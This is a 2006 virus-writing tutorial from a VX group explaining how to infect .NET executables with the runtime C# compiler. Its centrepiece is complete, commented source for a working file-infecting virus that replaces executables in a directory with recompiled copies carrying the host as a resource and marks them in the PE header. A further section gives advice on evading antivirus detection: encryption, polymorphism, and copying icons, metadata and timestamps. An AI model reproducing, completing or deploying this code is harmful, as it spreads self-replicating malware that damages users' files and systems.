|| Author: DiA/rRlf || Back to articles ||
______________________________________________________________ | | | Using the .NET runtime compiler for file infection |# | »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» |# | |# | by DiA/RRLF (c)2006 |# | www.vx-dia.de.vu :: DiA_hates_machine@gmx.de |# |______________________________________________________________|# ############################################################### _Overview___________________________________ | | | 1_Intro |# | 2_The main idea |# | 3_My ideas, and what not worked |# | 4_How it can work |# | 5_Working source code |# | 6_Make it strong, further ideas |# | 7_Outro |# |____________________________________________|# ############################################# .Disclaimer »»»»»»»»»» The author of this article is NOT responsible for possible damages in case of informations you getting here. You do your own things at your own risk, please don't do anything stupid for your own security. This document is for educational purpose only. If you do NOT agree this, please close this for your own pleasure! .1_Intro »»»»»»» Hello and welcome to my second article on .NET and C#. Again I got bored of programming in C++. So, this is again a sidestep in the easy and simple world of .NET programming. In this tutorial I describe how to infect executables by using the .NET runtime compiler. Also I provide a workin source code with comments and ideas/hints how to make a real virus with this technique. .2_The main idea »»»»»»»»»»»»»»» When I played with the runtime compiler, I also checked out all the compiler options and parameters. Resource files (any kind, .jpg, .doc, .xxx) can be compiled within the source. And .NET provides a ResourceManager, wich makes reading resources in .NET files very easy. So the main idea is to compile the virus every time new when a victim was found, and the victim will be added as resource. Then on runtime, extract resource and run the host file. To act like this, the virus must have its own source, to compile. Since .NET executables (not abused) is like open source (use Reflector) we just don't really care. .3_My ideas, and what not worked »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» I got good ideas before I started coding this example virus, but it turned out that much don't work very well: Source as String - I wanted to store the source code of the virus as string in the virus body. It was much much work, and not really worth it. You have to care that your source is compiled right (care for " as example), string max length (in source) is 2046 bytes. Load host in memory - You can load a .NET assembly (a .exe for example), and invoke (execute) it in your current running application. This would be nice, cause you dont have to drop host on disk and run it. But it turned out that this technique is just fine for stand- alone application. Try to execute a application linked to .dll's or other needed files will cause problems or errors. Anyway, here is the source I tried, host file is in a byte array: //... Assembly HostAsm = Assembly.Load(HostArray); //byte array, .exe MethodInfo HostMethod = HostAsm.EntryPoint; //main HostMethod.Invoke(HostAsm.CreateInstance(HostMethod.Name), null); //execute //... Check for infection - To not re-infect files, we have to check for infection. Good, as .NET have a ResourceManager, and the already infected files must have a resource named like we want it. Try to read a byte, if no error occours the file seems to be infected, error means no resource named like we have, means not infected. But somehow I can't close the resource stream when the host resource doesn't exist. And if the stream is still open, we can't delete the victim file (nor recompile it). It's mystic that .NET allow to open a not existing stream, but it's not able to close this stream. Anyway, improve! .4_How it can work »»»»»»»»»»»»»»»»» So, much don't work as I wanted, improve is the keyword. And improve means going simple, and use already known techniques. This is how the example virus works: The virus source is also in the binary as resource, and will be read and drop to disc when needed. But first the host is read from the resource stream, dropped to disc, and executed. After termination the temporary host will be deleted. Here goes the infection (source code is already on disc). The virus find all .exe files in current directory, copy that file to <filename>.res, delete original victim, and compile the virus source (in same directory) to the .exe name of the victim. On compiling it add's the host binary and the virus source as resource. After compilation the virus writes it's infection marker in the PE header. If something goes wrong the temp resource file is copied back, to leave host uninfected. Before infecting the virus also checks if the found .exe is a .NET application and if the victim is already infected, by checking 4 bytes in the PE header (WIN32_VERSION). For more details please check the source code in the next section, there are also comments for helping you to understand what I mean. .5_Working source code »»»»»»»»»»»»»»»»»»»»» using System; using System.IO; using System.Reflection; using System.CodeDom.Compiler; using Microsoft.CSharp; using System.Resources; using System.Diagnostics; using System.Windows.Forms; //namespaces we use in this virus namespace Biskin //our namespace { class DiA //we use just this one class, simple virus { static void Main(string[] args) //our entry point { byte[] Marker = {0x42, 0x53, 0x4B, 0x69}; //"BSKi", our infection marker to prevent re-infection string SourceName = ""; //here we store the extracted source code, we define it here because we handle it in more try/catch then one Random RanNumber = new Random(DateTime.Now.Millisecond); //to generate random number, user current millisecond as seed Assembly ThisAsm = Assembly.GetExecutingAssembly(); //the own assembly, to extract the resources (host & source) try //we use some try/catch blocks in this virus, error handling in c# is nice { Stream ResStream = ThisAsm.GetManifestResourceStream("host.bin"); //get the stream for the resource "host.bin" string HostName = RanNumber.Next(99999).ToString() + ".scr"; //generate a temporary host name, just andom number and .scr extension FileStream HostTemp = new FileStream(HostName, FileMode.CreateNew, FileAccess.Write); //filestream to write from resource to file for(int i = 0; i < ResStream.Length; i++) //write byte by byte until we reach end of file { HostTemp.WriteByte(Convert.ToByte(ResStream.ReadByte())); //read byte from stream and write it to file } HostTemp.Close(); //close file stream ResStream.Close(); //close resource stream File.SetAttributes(HostName, FileAttributes.Hidden); //set the temp host to hidden string HostParameters = " "; //to store host's parameter, drag and drop or called via command line for(int i = 0; i < args.Length; i++) //for each argument (parameter) given to the virus { HostParameters += args[i] + " "; //append it to string and put a space between } Process.Start(HostName + HostParameters).WaitForExit(); //start temporary host and wait for it's termination File.Delete(HostName); //after termination, delete the temporary host } catch //error on reading resource or write/run temp host { MessageBox.Show("Can't execute application", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); //show fake error then } try //try to extract source code { Stream SrcStream = ThisAsm.GetManifestResourceStream("biskin.src"); //get stream to resource SourceName = RanNumber.Next(99999).ToString() + ".cs"; //create temporary source file name, random number FileStream SourceTemp = new FileStream(SourceName, FileMode.CreateNew, FileAccess.Write); //open filestream for write source to disk for(int i = 0; i < SrcStream.Length; i++) //write byte by byte { SourceTemp.WriteByte(Convert.ToByte(SrcStream.ReadByte())); //read byte from resource and write it to file } SourceTemp.Close(); //close file stream SrcStream.Close(); //close resource stream } catch //error on reading/writing source code { Application.Exit(); //no source, no infection is possible, exit virus } string[] Files = Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe"); //get all .exe files in current directory foreach(string Victim in Files) //for loop all files in the array { try{AssemblyName.GetAssemblyName(Victim);} //easy way to check if founded file is a .NET catch{continue;} //if no .NET executable, try next file byte[] IsMarker = new byte[4]; //array where we read the marker FileStream VictimFile = new FileStream(Victim, FileMode.Open, FileAccess.Read); //open potential vicitm for read for(int i = 0; i < 136; i++) //skip first bytes { VictimFile.ReadByte(); //by reading bytes to nothing } VictimFile.Read(IsMarker, 0, Marker.Length); //read now 4 bytes to array VictimFile.Close(); //and close file stream //check if readed bytes are our infection marker, if so try next file if(IsMarker[0] == Marker[0] && IsMarker[1] == Marker[1] && IsMarker[2] == Marker[2] && IsMarker[3] == Marker[3]) continue; string ResourceFile = Victim.Remove(Victim.Length - 3, 3) + "res"; //create temp file name for the host resource File.Copy(Victim, ResourceFile); //copy uninfected host to temporary file File.SetAttributes(ResourceFile, FileAttributes.Hidden); //and set it to hidden try{File.Delete(Victim);} //try to delete the victim catch { File.Delete(ResourceFile); //if it still run, delete temp resource file continue; //and leave it uninfected } try //action! try to compile virus source with source and host binary as resource { ICodeCompiler Compiler = new CSharpCodeProvider().CreateCompiler(); //create compiler CompilerParameters Parameter = new CompilerParameters(); //and it's parameters Parameter.GenerateExecutable = true; //we want to create a exe, sure Parameter.MainClass = "Biskin.DiA"; //the main class, we are now in it Parameter.OutputAssembly = Victim; //compile output, the victim name (we deleted it already) //some raw compiler commands, optimize output, make windows application (no command prompt shit) //and add via "/resource" the host binary (we copy it before) and the virus source (we extracted it before) Parameter.CompilerOptions = "/optimize /target:winexe /resource:" + ResourceFile + ",host.bin /resource:" + SourceName + ",biskin.src"; foreach(Assembly Asm in AppDomain.CurrentDomain.GetAssemblies()) //lazy style { Parameter.ReferencedAssemblies.Add(Asm.Location); //just reference all assemblies we found, so we are sure our virus has all to compile } if(Compiler.CompileAssemblyFromFile(Parameter, SourceName).Errors.Count == 0) //compile! and check if no compile errors { VictimFile = new FileStream(Victim, FileMode.Open, FileAccess.ReadWrite); //open the freshly compiled executable for(int i = 0; i < 136; i++) //skip first bytes { VictimFile.ReadByte(); //by read bytes to nothing } VictimFile.Write(Marker, 0, Marker.Length); //then write our infection marker to WIN32_VERSION in the PE header (unused space) VictimFile.Close(); //close file stream } else //argh, compiler error { File.Copy(ResourceFile, Victim); //copy resource file back to real name, and leave it uninfected } File.Delete(ResourceFile); //delete reosurce file and handle next file } catch{} //any error is redirected here, just do nothing } try{File.Delete(SourceName);} //try to delete source file, should work catch{File.SetAttributes(SourceName, FileAttributes.Hidden);} //if it's still in use just set it to hidden } } } //done. .6_Make it strong, further ideas »»»»»»»»»»»»»»»»»»»»»»»»»»»»»»» Sure, the provided source code is just a proof of concept, and not done to stay in the wild or anything like that. Here are some add's you have to make if you want make this virus (or your virus) a good one: Where is my icon? The icon of the compiled virus (within host) is the default windows application icon, cause we didn't give the compiler any icon. To prevent this, just extract the icon from the potential victim (google hint: Code Corner - Tools - Icon Browser), and give it as compiler parameter "/win32icon:filename". After that delete the extracted icon. And all is fine. And where are my file properties? Also the compiled file don't have any properties, such as Name, Copyright, Trademark, etc. This is also very simple issue, properties of the file can be read like this: //... foreach(object Attribute in Assembly.LoadFrom("Victim.exe").GetCustomAttributes(false)) //check all attributes { AssemblyCopyrightAttribute Copyleft = Attribute as AssemblyCopyrightAttribute; //as copyright attribute, as example if(Copyleft != null) //found copyright attribute? { string OldCopyright = Copyleft.Copyright; //the copyright to string } } //others can be read in the same way //... Then write in the virus source (after used namespaces, before own namespace) this (don't foget namespaces System.Reflection and System.Runtime.CompilerServices): //... [assembly: AssemblyCopyright(OldCopyright)] //... Other assembly informations are AssemblyTitle, AssemblyDescription, AssemblyConfiguration, AssemblyCompany, AssemblyProduct, AssemblyTrademark, AssemblyCulture. Filetime? Also take care for filetime, read filetime of potential victim and set it after compilation again. Easy, huh? Detected in < 1min? This is not a hard take for AV people, cause the plain source is stored. So a good idea is to encrypt the source code resource. Maybe also with a changing key. .NET provides also encryption classes like DES or even TripleDES. Also you can encrypt the host resource, so it can't be easiely cut out of the virus and be restored. More More More! Now it's on you, imagin you are at source level, so polymorphism is not a hard take, also adding garbage is a good idea. Encrypt strings, split source to 100s classes, etc etc. Use your brain. .7_Outro »»»»»»» Hope you liked this article and the idea how to use the .NET runtime compiler for file infection. If you do anything in this way, let me know, DiA_hates_machine@gmx.de. Next time friends, bye. DiA/RRLF - 23.08.2006